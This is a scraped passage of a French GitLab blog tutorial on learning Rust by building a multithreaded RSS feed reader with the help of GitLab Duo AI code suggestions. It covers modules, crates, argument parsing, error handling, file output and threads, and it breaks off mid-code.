Gitlab","fr-fr/blog/tutorial-automated-release-and-release-notes-with-gitlab.yml","fr-fr/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"_path":3068,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3069,"content":3075,"config":3082,"_id":3084,"_type":16,"title":3085,"_source":17,"_file":3086,"_stem":3087,"_extension":20},"/fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"title":3070,"description":3071,"ogTitle":3070,"ogDescription":3071,"noIndex":6,"ogImage":3072,"ogUrl":3073,"ogSiteName":841,"ogType":842,"canonicalUrls":3073,"schema":3074},"Programmation en Rust à l’aide de l'IA : tutoriel","Poursuivez votre apprentissage de la programmation en Rust à l'aide de ce tutoriel et des suggestions de code alimentées par l'IA de GitLab Duo.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662439/Blog/Hero%20Images/codewithheart.png","https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Programmation en Rust à l’aide de l'IA : tutoriel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":3070,"description":3071,"authors":3076,"heroImage":3072,"date":3077,"body":3078,"category":697,"tags":3079,"updatedDate":3081},[2431],"2023-10-12","Il y a 20 ans, pour apprendre un nouveau langage de programmation, il fallait installer la bibliothèque MSDN de Visual Studio 6 avec 6 CD-ROM. Trouver les bons algorithmes prenait du temps et nécessitait des livres et des recherches manuelles. Aujourd'hui, grâce à la collaboration à distance et à l'intelligence artificielle (IA), vous pouvez facilement créer un [espace de développement à distance](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), partager votre écran et coder en groupe. De plus, [GitLab Duo offre des suggestions de code](/gitlab-duo/) alimentées par l'IA, adaptées à votre style de programmation et à votre expérience, même avec peu d'informations et de contexte.\n\nCe tutoriel basé sur notre [article d'introduction à Rust](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) vous guidera dans le développement d'une application simple de lecteur de flux.\n\n## Préparations\nConfigurez [VS Code](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code) et [votre environnement de développement Rust](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust).\n\n### Suggestions de code\nVérifiez les suggestions de code avant de les accepter. GitLab Duo génère des suggestions de code en temps réel que vous pouvez accepter en appuyant sur la touche `tab`. Notez qu'il est plus fiable d'écrire du nouveau code que de refactoriser un code existant. Notez aussi que l'IA peut proposer des suggestions différentes pour le même code. Tenez compte des [limitations connues](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations) qui peuvent affecter votre apprentissage.\n\n**Astuce :** les suggestions de code prennent en charge les instructions multilignes. Affinez les spécifications si besoin pour obtenir de meilleures suggestions.\n\n```rust\n    // Create a function that iterates over the source array\n    // and fetches the data using HTTP from the RSS feed items.\n    // Store the results in a new hash map.\n    // Print the hash map to the terminal.\n```\n\nLe volet de l'extension VS Code s'affiche lorsqu'une suggestion est proposée. Utilisez `tab` pour accepter les lignes suggérées, ou `cmd cursor right` pour accepter un mot. Le menu à trois points vous permet d'afficher la barre d'outils à tout moment.\n\n![Volet de l'extension VS Code des suggestions de code de GitLab Duo avec des instructions](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){: .shadow}\n\n## Ressources Rust\nRust est l'un des [langages pris en charge par les suggestions de code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). Le tutoriel [« Rust by Example »](https://doc.rust-lang.org/rust-by-example/) et le [livre officiel « Le langage de programmation Rust »](https://doc.rust-lang.org/book/) sont une bonne aide pour les débutants. Nous les utiliserons également dans cet article.\n\n### Création d'une application de lecture de flux\nIl existe plusieurs façons d'apprendre Rust en créant une application. Vous pouvez utiliser des bibliothèques Rust, appelées `Crates`. Nous les explorerons pus tard dans ce tutoriel. Vous pouvez aussi créer une application pour traiter des fichiers image en ligne de commande, résoudre un labyrinthe ou des Sudokus, ou même développer des jeux. Le livre [Hands-on Rust](https://hands-on-rust.com/) apprend Rust par la création d'un jeu d'exploration de donjon. Ma collègue, Fatima Sarah Khalid, a conçu [Dragon Realm en C++ en s'aidant de l'IA](/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions/).\n\nNous allons construire une application pour collecter des informations depuis des versions de sécurité, des articles de blog et des forums comme Hacker News, via des flux RSS. Nous filtrerons certains mots-clés ou des versions spécifiques dans ces flux. Voici ce que notre application devra faire :\n\n1. Récupérer des données depuis des sites web HTTP, API REST, mais surtout depuis des flux RSS.\n2. Analyser les données.\n3. Présenter les données à l'utilisateur ou les sauvegarder.\n4. Optimiser la lecture des flux.\n\nLes données fournies par l'application dans notre exemple sont présentées dans cet article, après les étapes d'apprentissage :\n\n![Terminal VS Code, exécution de Cargo avec des sorties d'éléments formatées](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\nL'application doit être modulaire, servant de base pour ajouter d'autres données, filtres et hooks pour des actions ultérieures.\n\n### Initialisation du projet\nRappel : `cargo init` dans la racine du projet crée la structure du fichier, y compris le point d'entrée `main()`. Nous allons créer et utiliser des modules Rust à l'étape suivante.\n\nD'abord, créez un répertoire nommé `learn-rust-ai-app-reader`, ouvrez-le et exécutez `cargo init`, ce qui initialise également (`git init`) un dépôt Git local. Configurez ensuite le dépôt distant avec l'URL par exemple `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`, ajustez le chemin de votre espace de nommage, et effectuez un push pour [créer automatiquement un nouveau projet privé sur GitLab](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).\n\n```shell\nmkdir learn-rust-ai-app-reader\ncd learn-rust-ai-app-reader\n\ncargo init\n\ngit remote add origin https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git\ngit push --set-upstream origin main\n```\n\nOuvrez VS Code à partir du répertoire créé. La CLI `code` ouvre une fenêtre VS Code sur macOS.\n\n```shell\ncode .\n```\n\n### Définition des URL des flux RSS\nAjoutez une table de hachage pour stocker les URL des flux RSS dans le fichier `src/main.rs` dans la fonction `main()`. Utilisez les suggestions de code de GitLab Duo pour créer un objet [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html) avec un commentaire multilignes et initialisez-le avec les valeurs par défaut pour Hacker News et TechCrunch. Vérifiez l'exactitude des URL incluses dans les suggestions.\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n\n}\n```\n\nLe commentaire intégré au code doit inclure :\n\n1. Le nom de la variable `rss_feeds`.\n2. Le type `HashMap`.\n3. Les paires clé/valeur initiales.\n4. La string comme type utilisable avec les appels `to_string()`).\n\nVoici une suggestion possible :\n\n```rust\nuse std::collections::HashMap;\n\nfn main() {##$_0A$##    // Define RSS feed URLs in the variable rss_feeds##$_0A$##    // Use a HashMap##$_0A$##    // Add Hacker News and TechCrunch##$_0A$##    // Ensure to use String as type##$_0A$##    let rss_feeds = HashMap::from([##$_0A$##        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),##$_0A$##        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),##$_0A$##    ]);##$_0A$####$_0A$##}\n```\n\n![VS Code avec les suggestions de code pour les URL des flux RSS pour Hacker News et TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)\n\nOuvrez un terminal dans VS Code (cmd+maj+p, recherchez `terminal`), exécutez `cargo build` pour appliquer les modifications. Ajoutez la ligne d'importation `use std::collections::HashMap;` suite au message d'erreur.\n\nEnsuite, utilisez les URL des flux RSS. Dans notre [article](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) précédent, nous avons expliqué la division du code en fonctions. Ce tutoriel se concentre sur l'organisation modulaire du code avec des modules Rust.\n\n## Modules\nLes [modules](https://doc.rust-lang.org/rust-by-example/mod.html) organisent le code et peuvent restreindre l'accès aux fonctions à partir de la portée main(). Pour notre application, nous récupérerons le flux RSS et analyserons la réponse XML. La structure appelante `main()` n'accèdera qu'à la fonction `get_feeds()`. Les autres fonctionnalités sont disponibles dans le module.\n\nCréez un fichier `feed_reader.rs` dans le répertoire `src/`. Demandez aux suggestions de code de créer un module public nommé `feed_reader` avec une fonction publique `get_feeds()` prenant une string HashMap en entrée. Assurez-vous que le nom du fichier et du module correspondent et suivent la [structure de module Rust](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html).\n\n![Suggestions de code : créez un module public, avec des types de fonctions et d'intrants](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nEn fournissant aux suggestions de code le nom de la variable et son type, le module `std::collections::HashMap` sera automatiquement importé. Astuce : ajustez les commentaires et les types de variables pour améliorer les suggestions. Passer des paramètres de fonction sous forme de références d'objet est une bonne pratique en Rust.\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Do something with the RSS feeds\n    }\n}\n```\n\n![Suggestions de code : module public avec la fonction `get_feeds()` et la variable d'intrant suggérée](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nPour guider les suggestions de code, suivez ces étapes :\n\n1. `// Iterate over the RSS feed URLs`\n2. `// Fetch URL content`\n3. `// Parse XML body`\n4. `// Print the result`\n\n![Suggestions de code : module public avec la fonction `get_feeds()`, étape 1 : itération](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){: .shadow}\n\n![Suggestions de code : module public avec la fonction `get_feeds()`, étape 2 : récupération du contenu de l'URL](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){: .shadow}\n\n![Suggestions de code : module public avec la fonction `get_feeds()`, étape 3 : analyse du corps XML](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){: .shadow}\n\n![Suggestions de code : module public avec la fonction `get_feeds()`, étape 4 : impression des résultats](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){: .shadow}\n\nSuggestion de code possible :\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Iterate over the RSS feed URLs\n        for (name, url) in rss_feeds {\n            println!(\"{}: {}\", name, url);\n\n            // Fetch URL content\n            let body = reqwest::blocking::get(url).unwrap().text().unwrap();\n\n            // Parse XML body\n            let parsed_body = roxmltree::Document::parse(&body).unwrap();\n\n            // Print the result\n            println!(\"{:#?}\", parsed_body);\n        }\n    }\n}\n```\n\nRemarquez le nouveau mot-clé : [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html). Rust n'accepte pas les valeurs `null` et utilise le [type `Option`](https://doc.rust-lang.org/rust-by-example/std/option.html) pour représenter les valeurs. Si vous avez la certitude d'utiliser un type encapsulé comme `Text` ou `String`, vous pouvez appeler la méthode `unwrap()` pour obtenir la valeur, mais elle provoquera un arrêt brutal du programme si la valeur est `None`.\n\n**Remarque** : les suggestions de code se réfèrent à la fonction `reqwest::blocking::get` pour suivre l'instruction `// Fetch URL content` du commentaire. Le nom de la [crate `reqwest`](https://docs.rs/reqwest/latest/reqwest/) n'est pas une faute de frappe. Cette crate simplifie les requêtes HTTP, en mode asynchrone ou bloquant.\n\nL'analyse XML peut varier selon les flux RSS, alors testez la fonction `get_feeds()` et ajustez le code si nécessaire.\n\n### Appel de la fonction du module dans main()\n\nLa fonction main() ne connaît pas encore la fonction `get_feeds()`. Nous devons donc importer son module. Contrairement à d'autres langages de programmation, qui utilisent les mots-clés `include` ou `import`, Rust utilise des répertoires de fichiers\n\npour organiser les modules. Dans notre exemple, les deux fichiers source existent au même niveau de répertoire. `feed_reader.rs` est interprété comme une crate, contenant un module appelé `feed_reader`, qui définit la fonction `get_feeds()`.\n\n```\nsrc/\n  main.rs\n  feed_reader.rs\n```\n\nPour accéder à `get_feeds()` à partir du fichier `feed_reader.rs`, commencez par [indiquer le chemin du module](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html) dans la portée `main.rs`, puis appeler le chemin complet de la fonction.\n\n```rust\nmod feed_reader;\n\nfn main() {\n\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n\n```\n\nUtilisez le mot-clé `use` pour importer le chemin complet de la fonction avec un nom court.\n\n```rust\nmod feed_reader;\nuse feed_reader::feed_reader::get_feeds;\n\nfn main() {\n\n    get_feeds(&rss_feeds);\n\n```\n\n**Astuce :** consultez [l'article « Clear explanation of the Rust module system »](https://www.sheshbabu.com/posts/rust-module-system/) pour plus de détails.\n\n```diff\n\nfn main() {\n    // ...\n\n    // Print feed_reader get_feeds() output\n    println!(\"{}\", feed_reader::get_feeds(&rss_feeds));\n```\n\n```rust\nuse std::collections::HashMap;\n\nmod feed_reader;\n// Alternative: Import full function path\n//use feed_reader::feed_reader::get_feeds;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nExécutez `cargo build` à nouveau dans le terminal pour compiler le code.\n\n```shell\ncargo build\n```\n\nDemander des suggestions de code pour des bibliothèques courantes (comme les requêtes HTTP ou l'analyse XML) peut provoquer des erreurs de compilation telles que :\n\n1. Erreur : `could not find blocking in reqwest`. Solution : activez la fonctionnalité `blocking` pour la crate dans `Config.toml`: `reqwest = { version = \"0.11.20\", features = [\"blocking\"] }`.\n2. Erreur : `failed to resolve: use of undeclared crate or module reqwest`. Solution : ajoutez la crate `reqwest`.\n3. Erreur : `failed to resolve: use of undeclared crate or module roxmltree`. Solution : ajoutez la crate `roxmltree`.\n\n```shell\nvim Config.toml\n\nreqwest = { version = \"0.11.20\", features = [\"blocking\"] }\n```\n\n```shell\ncargo add reqwest\ncargo add roxmltree\n```\n\n**Astuce :** copiez le message d'erreur avec l'en-tête `Rust \u003Cerror message>` dans un navigateur pour vérifier si la crate manquante est disponible. Cette recherche vous dirigera sur crates.io. Ajoutez ensuite les dépendances manquantes.\n\nAprès la compilation, exécutez le code avec `cargo run` et vérifiez la sortie du flux RSS de Hacker News.\n\n![Terminal VS Code, exécution de Cargo pour récupérer le flux XML de Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){: .shadow}\n\nProchaine étape : analyse XML dans un format lisible par un humain Nous allons maintenant explorer les solutions existantes et le rôle des crates Rust.\n\n## Crates\nLes flux RSS suivent des protocoles et spécifications communs. Pour analyser les éléments XML et comprendre la structure de l'objet sous-jacent, vérifiez si un développeur a déjà résolu ce problème et utilisez son code.\n\nEn Rust, le code réutilisable est organisé en [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html) et disponible sur crates.io. Ajoutez ces dépendances dans le fichier `Config.toml` dans la section `[dependencies]` ou avec `cargo add \u003Cname>`.\n\nPour notre application, utilisez la [crate feed-rs](https://crates.io/crates/feed-rs) en exécutant la commande suivante dans le terminal :\n\n```shell\ncargo add feed-rs\n```\n\n![Terminal VS Code Terminal : ajout d'une crate, vérification dans le fichier Config.toml](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)\n\n### feed-rs pour analyser un flux XML\nAccédez à `src/feed_reader.rs` pour modifier l'analyse XML. GitLab Duo sait appeler la fonction `parser::parse` de la crate `feed-rs`. Les suggestion de code comprennent le cas particulier : `feed-rs` [attend des octets bruts en entrée, et non des chaînes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html) pour déterminer l'encodage. Fournissez des instructions dans le commentaire pour obtenir le résultat prévu.\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n```\n\n![Suggestions de code : module public avec la fonction `get_feeds()`, étape 5 : modification de l'analyseur XML en feed-rs](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){: .shadow}\n\nLes avantages de `feed-rs` se révèlent en exécutant votre programme avec la commande `cargo run` : les clés et valeurs sont converties en types d'objets Rust réutilisables.\n\n![Terminal VS Code, exécution de Cargo pour récupérer le flux XML de Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){: .shadow}\n\n## Configuration du runtime : arguments de programme\nJusqu'à présent, nous avons utilisé des valeurs de flux RSS codées en dur. La prochaine étape est de configurer ces flux RSS au moment de l'exécution.\n\nRust propose des [arguments de programme](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) via la bibliothèque « Std misc » standard. Il est plus rapide d'apprendre [l'analyse des arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html) directement que d'utiliser des crates (par exemple, la crate [clap](https://docs.rs/clap/latest/clap/)) ou de passer par un fichier de configuration ou un autre format ([TOML](https://toml.io/en/), YAML). Pour cet article, j'ai bien essayé d'autres pistes, mais sans succès. Relevez le défi et essayez de configurer les flux RSS d'une autre manière.\n\nUne méthode simple consiste à passer les paramètres sous la forme `\"name,url\"` avec les valeurs séparées par une virgule `,` pour extraire le nom et l'URL. Demandez aux suggestions de code d'effectuer cette action et d'inclure les nouvelles valeurs dans la table de hachage `rss_feeds`. La variable peut ne pas être modifiable et doit être remplacée par `let mut rss_feeds`.\n\nAccédez à `src/main.rs` et ajoutez le code suivant à la fonction `main()` après la variable `rss_feeds`. Écrivez un commentaire qui définit les arguments de programme et vérifiez le code suggéré.\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n```\n\n![Suggestions de code pour les arguments de programme et découpage des paires nom,URL pour la variable rss_feeds](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){: .shadow}\n\nDans notre exemple, le code est le suivant :\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let mut rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nPassez les arguments directement avec `cargo run`, avant les arguments contenant `--`. Ajoutez des guillemets doubles à tous les arguments et une virgule après le nom. Utilisez l'URL du flux RSS comme argument. Séparez les arguments par des espaces.\n\n```\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Terminal VS Code, exemple de sortie de flux RSS pour le blog GitLab](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){: .shadow}\n\n### Gestion des erreurs des intrants saisis\nSi l'entrée ne correspond pas aux attentes du programme, [générez une erreur](https://doc.rust-lang.org/rust-by-example/error.html) pour aider à corriger les arguments, par exemple en cas d'URL invalide. Ajoutez un commentaire dans le code pour que les suggestions de code incluent une vérification de l'URL.\n\n```rust\n    // Ensure that URL contains a valid format, otherwise throw an error\n```\n\nVérifiez si `url` commence par `http://` ou `https://`. Sinon, utilisez la [macro panic!](https://doc.rust-lang.org/rust-by-example/std/panic.html) pour générer une erreur. Dans notre exemple, le code est le suivant :\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n\n        // Ensure that URL contains a valid format, otherwise throw an error\n        if !url.starts_with(\"http://\") && !url.starts_with(\"https://\") {\n            panic!(\"Invalid URL format: {}\", url);\n        }\n\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n```\n\nTestez la gestion des erreurs en supprimant `:` dans l'une des chaînes d'URL. Ajoutez la variable d'environnement `RUST_BACKTRACE=full` pour un affichage plus détaillé des résultats lorsque l'appel `panic()`.\n\n```\nRUST_BACKTRACE=full cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https//www.cncf.io/feed/\"\n```\n\n![Terminal VS Code avec un format d'URL incorrect, traçage des erreurs suite à un arrêt brutal du programme](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){: .shadow}\n\n## Persistance et stockage des données\nUne solution classique consiste à stocker les données du flux analysé dans un nouveau fichier. Demandez aux suggestions de code de générer un nom de fichier incluant le nom du flux RSS et la date au format ISO.\n\n```rust\n    // Parse XML body with feed_rs parser, input in bytes\n    let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n\n    // Print the result\n    println!(\"{:#?}\", parsed_body);\n\n    // Dump the parsed body to a file, as name-current-iso-date.xml\n    let now = chrono::offset::Local::now();\n    let filename = format!(\"{}-{}.xml\", name, now.format(\"%Y-%m-%d\"));\n    let mut file = std::fs::File::create(filename).unwrap();\n    file.write_all(body.as_bytes()).unwrap();\n```\n\nUtilisez la [crate chrono](https://crates.io/crates/chrono). Ajoutez-la à l'aide de `cargo add chrono`, puis exécutez `cargo build` et `cargo run`.\n\nLes fichiers seront enregistrés dans le répertoire où `cargo run` est exécuté. Si vous exécutez le binaire directement dans le répertoire `target/debug/`, les fichiers y seront sauvegardés.\n\n![VS Code avec fichier de contenu du flux RSS CNCF, enregistré sur le disque](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)\n\n## Optimisation\nLes URL dans `rss_feeds` sont traitées de manière séquentielle, ce qui peut être lent avec plus de 100 URL. Pourquoi ne pas les traiter en parallèle ?\n\n### Exécution asynchrone\nRust permet l'exécution asynchrone avec des [threads](https://doc.rust-lang.org/book/ch16-01-threads.html).\n\nLa méthode la plus simple est de créer un thread pour chaque URL de flux RSS. Nous explorerons les stratégies d'optimisation ultérieurement. Avant de passer à l'exécution parallèle, mesurez le temps d'exécution séquentiel en faisant précéder `time` par `cargo run`.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n```\n\nCet exercice peut nécessiter du codage manuel. Conservez l'état séquentiel dans une validation Git et une nouvelle branche `sequential-exec` pour comparer l'impact de l'exécution parallèle.\n\n```shell\ngit commit -avm \"Sequential execution working\"\ngit checkout -b sequential-exec\ngit push -u origin sequential-exec\n\ngit checkout main\n```\n\n### Création de threads\nOuvrez `src/feed_reader.rs` et réusinez la fonction `get_feeds()`. Lancez une validation Git de l'état actuel, puis supprimez le contenu de la portée de la fonction. Ajoutez les commentaires suivants dans le code comme instructions pour les suggestions de code :\n\n1. `// Store threads in vector` : stockez les gestionnaires de thread dans un vecteur pour attendre que tous les threads se terminent à la fin de l'appel de la fonction.\n2. `// Loop over rss_feeds and spawn threads` : créez un code standard pour itérer sur les flux RSS et générer un thread pour chacun.\n\nAjoutez les instructions `use` suivantes pour les modules `thread` et `time`.\n\n```rust\n    use std::thread;\n    use std::time::Duration;\n```\n\nContinuez à écrire le code et fermez la boucle for. Ajoutez les gestionnaires de thread au vecteur `threads` et joignez-les à la fin de la fonction.\n\n```rust\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n        // Store threads in vector\n        let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n        // Loop over rss_feeds and spawn threads\n        for (name, url) in rss_feeds {\n            let thread_name = name.clone();\n            let thread_url = url.clone();\n            let thread = thread::spawn(move || {\n\n            });\n            threads.push(thread);\n        }\n\n        // Join threads\n        for thread in threads {\n            thread.join().unwrap();\n        }\n    }\n```\n\nAjoutez la crate `thread`, compilez et exécutez le code.\n\n```shell\ncargo add thread\n\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\nAucune donnée n'est traitée ni affichée. Explorez les nouveaux mots-clés avant de réintégrer la fonctionnalité.\n\n### Portées, threads et fermetures des fonctions\nLe code suggéré utilise de nouveaux mots-clés et design patterns. Le gestionnaire de thread de type `thread::JoinHandle` permet d'attendre la fin des threads ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)).\n\n`thread::spawn()` génère un thread pour passer un objet fonction. Une expression [de fermeture](https://doc.rust-lang.org/book/ch13-01-closures.html) est passée en tant que fonction anonyme. Les paramètres de fermeture sont passés avec la syntaxe `||`. La [fermeture `move`](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads) déplace les variables de portée de la fonction dans celle du thread. Pas besoin de préciser manuellement les variables qui doivent être passées dans la nouvelle portée de la fonction/fermeture.\n\nCependant, `rss_feeds` est passé comme référence `&` par la structure d'appel de la fonction `get_feeds()` et n'est valide que dans la portée de la fonction. Utilisez le code suivant pour provoquer une erreur :\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (key, value) in rss_feeds {\n        let thread = thread::spawn(move || {\n            println!(\"{}\", key);\n        });\n    }\n}\n```\n\n![Terminal VS Code, erreur liée à la portée de la variable et aux références avec une fermeture déplacée dans un thread](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){: .shadow}\n\nLa variable `key`, pourtant créée dans la portée de la fonction, fait référence à `rss_feeds` et ne peut pas être déplacée dans la portée du thread. Les valeurs accessibles depuis la table de hachage des paramètres de fonction `rss_feeds` nécessitent une copie locale avec `clone()`.\n\n![Terminal VS Code, création de thread avec clone](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){: .shadow}\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (name, url) in rss_feeds {\n        let thread_name = name.clone();\n        let thread_url = url.clone();\n        let thread = thread::spawn(move || {\n            // Use thread_name and thread_url as values, see next chapter for instructions.\n```\n\n## Analyse du flux XML dans les types d'objets\nL'étape suivante consiste à analyser le flux RSS dans la fermeture du thread. Ajoutez les commentaires suivants dans le code pour guider les suggestions de code :\n\n1. `// Parse XML body with feed_rs parser, input in bytes` : récupérer le contenu de l'URL du flux RSS et l'analyser avec les fonctions de la crate `feed_rs`.\n2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name` : extraire le type de flux pour comparer l'attribut `feed_type` avec [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html). Les suggestions de code doivent aussi recevoir des instructions avec les valeurs enum exactes à comparer.\n\n![Demande adressée aux suggestions de code de comparer les types de flux spécifiques](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){: .shadow}\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();\n            let feed = feed_rs::parser::parse(body.as_ref()).unwrap();\n\n            // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name\n            if feed.feed_type == feed_rs::model::FeedType::RSS2 